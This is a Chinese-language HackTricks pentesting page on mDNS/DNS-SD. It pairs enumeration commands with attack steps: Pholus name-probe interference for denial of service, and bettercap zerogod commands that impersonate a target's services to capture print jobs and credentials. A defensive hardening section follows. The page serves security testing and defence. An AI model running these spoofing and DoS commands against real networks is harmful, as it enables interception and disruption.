5353/UDP Multicast DNS (mDNS) 和 DNS-SD
Reading time: 10 minutes
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
基本信息
Multicast DNS (mDNS) 使得在没有单播 DNS 服务器的情况下,在本地链路内实现类似 DNS 的名称解析和服务发现。它使用 UDP/5353 和多播地址 224.0.0.251 (IPv4) 和 FF02::FB (IPv6)。DNS 服务发现 (DNS-SD,通常与 mDNS 一起使用) 提供了一种标准化的方法,通过 PTR、SRV 和 TXT 记录来枚举和描述服务。
PORT STATE SERVICE
5353/udp open zeroconf
关键协议细节,您在攻击中经常利用:
- .local 区域中的名称通过 mDNS 解析。
- QU(查询单播)位可能请求单播回复,即使对于多播问题。
- 实现应忽略未从本地链路源发的包;一些栈仍然接受它们。
- 探测/公告强制唯一的主机/服务名称;在这里干扰会造成 DoS/“名称占用”条件。
DNS-SD 服务模型
服务在 .local 下被标识为 _
网络探索和枚举
- nmap 目标扫描(直接在主机上进行 mDNS):
nmap -sU -p 5353 --script=dns-service-discovery <target>
- nmap 广播发现(监听该段并枚举所有 DNS-SD 类型/实例):
sudo nmap --script=broadcast-dns-service-discovery
- avahi-browse(Linux):
# 列出服务类型
avahi-browse -bt _services._dns-sd._udp
# 浏览所有服务并解析到主机/端口
avahi-browse -art
- Apple dns-sd(macOS):
# 浏览所有 HTTP 服务
dns-sd -B _http._tcp
# 枚举服务类型
dns-sd -B _services._dns-sd._udp
# 将特定实例解析为 SRV/TXT
dns-sd -L "My Printer" _ipp._tcp local
- 使用 tshark 进行数据包捕获:
# 实时捕获
sudo tshark -i <iface> -f "udp port 5353" -Y mdns
# 仅 DNS-SD 服务列表查询
sudo tshark -i <iface> -f "udp port 5353" -Y "dns.qry.name == \"_services._dns-sd._udp.local\""
提示:一些浏览器/WebRTC 使用短暂的 mDNS 主机名来掩盖本地 IP。如果您在网络上看到随机的 UUID.local 候选项,请使用 mDNS 解析它们以转向本地 IP。
攻击
mDNS 名称探测干扰(DoS / 名称占用)
在探测阶段,主机检查名称的唯一性。以伪造的冲突响应迫使其选择新名称或失败。这可能会延迟或阻止服务注册和发现。
使用 Pholus 的示例:
# Block new devices from taking names by auto-faking responses
sudo python3 pholus3.py <iface> -afre -stimeout 1000
服务欺骗和冒充 (MitM)
冒充广告的 DNS-SD 服务(打印机、AirPlay、HTTP、文件共享),迫使客户端连接到您。这在以下情况下特别有用:
- 通过欺骗 _ipp._tcp 或 _printer._tcp 捕获文档。
- 引诱客户端连接到 HTTP/HTTPS 服务以收集令牌/ cookies 或传递有效载荷。
- 在 Windows 客户端与伪造服务协商身份验证时结合 NTLM 中继技术。
使用 bettercap 的 zerogod 模块(mDNS/DNS-SD 欺骗者/冒充者):
# Start mDNS/DNS-SD discovery
sudo bettercap -iface <iface> -eval "zerogod.discovery on"
# Show all services seen from a host
> zerogod.show 192.168.1.42
# Impersonate all services of a target host automatically
> zerogod.impersonate 192.168.1.42
# Save IPP print jobs to disk while impersonating a printer
> set zerogod.ipp.save_path ~/.bettercap/zerogod/documents/
> zerogod.impersonate 192.168.1.42
# Replay previously captured services
> zerogod.save 192.168.1.42 target.yml
> zerogod.advertise target.yml
也请参见通用的LLMNR/NBNS/mDNS/WPAD欺骗和凭证捕获/中继工作流程:
Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
关于最近实施问题的说明(在参与期间对DoS/持久性有用)
- Avahi可达性断言和D-Bus崩溃漏洞(2023)可以终止Linux发行版上的avahi-daemon(例如CVE-2023-38469..38473,CVE-2023-1981),在重启之前会干扰目标主机上的服务发现。
- Cisco IOS XE无线局域网控制器mDNS网关DoS(2024,CVE-2024-20303)允许相邻攻击者驱动高CPU并断开AP。如果您在VLAN之间遇到mDNS网关,请注意其在格式错误或高频率mDNS下的稳定性。
防御考虑和OPSEC
- 段边界:除非明确需要mDNS网关,否则不要在安全区域之间路由224.0.0.251/FF02::FB。如果必须桥接发现,优先使用允许列表和速率限制。
- Windows端点/服务器:
- 要通过mDNS强制禁用名称解析,请设置注册表值并重启:
HKLM\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters\EnableMDNS = 0 (DWORD)
- 在受管理的环境中,禁用内置的“mDNS (UDP-In)”Windows Defender防火墙规则(至少在域配置文件上),以防止入站mDNS处理,同时保留家庭/漫游功能。
- 在较新的Windows 11版本/GPO模板中,使用策略“计算机配置 > 管理模板 > 网络 > DNS客户端 > 配置多播DNS (mDNS) 协议”,并将其设置为禁用。
- Linux (Avahi):
- 在不需要时锁定发布:设置
disable-publishing=yes
,并在/etc/avahi/avahi-daemon.conf
中使用allow-interfaces=
/deny-interfaces=
限制接口。 - 考虑
check-response-ttl=yes
,并避免enable-reflector=yes
,除非严格需要;在反射时优先使用reflect-filters=
允许列表。 - macOS:在特定子网不需要Bonjour发现时,限制主机/网络防火墙的入站mDNS。
- 监控:对
_services._dns-sd._udp.local
查询的异常激增或关键服务的SRV/TXT突然变化发出警报;这些都是欺骗或服务冒充的指标。
工具快速参考
- nmap NSE:
dns-service-discovery
和broadcast-dns-service-discovery
。 - Pholus: 主动扫描,反向mDNS扫描,DoS和欺骗助手。
# 被动嗅探(超时秒数)
sudo python3 pholus3.py <iface> -stimeout 60
# 枚举服务类型
sudo python3 pholus3.py <iface> -sscan
# 发送通用mDNS请求
sudo python3 pholus3.py <iface> --request
# 对子网进行反向mDNS扫描
sudo python3 pholus3.py <iface> -rdns_scanning 192.168.2.0/24
- bettercap zerogod: 发现、保存、广告和冒充mDNS/DNS-SD服务(见上面的示例)。
欺骗/中间人攻击
您可以在客户端与真实服务器之间执行中间人攻击,这是您可以对该服务执行的最有趣的攻击。您可能能够获取敏感文件(与打印机的通信中间人)或甚至凭证(Windows身份验证)。
有关更多信息,请查看:
Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
参考文献
- Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things
- Nmap NSE: broadcast-dns-service-discovery
- bettercap zerogod (mDNS/DNS-SD discovery, spoofing, impersonation)
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。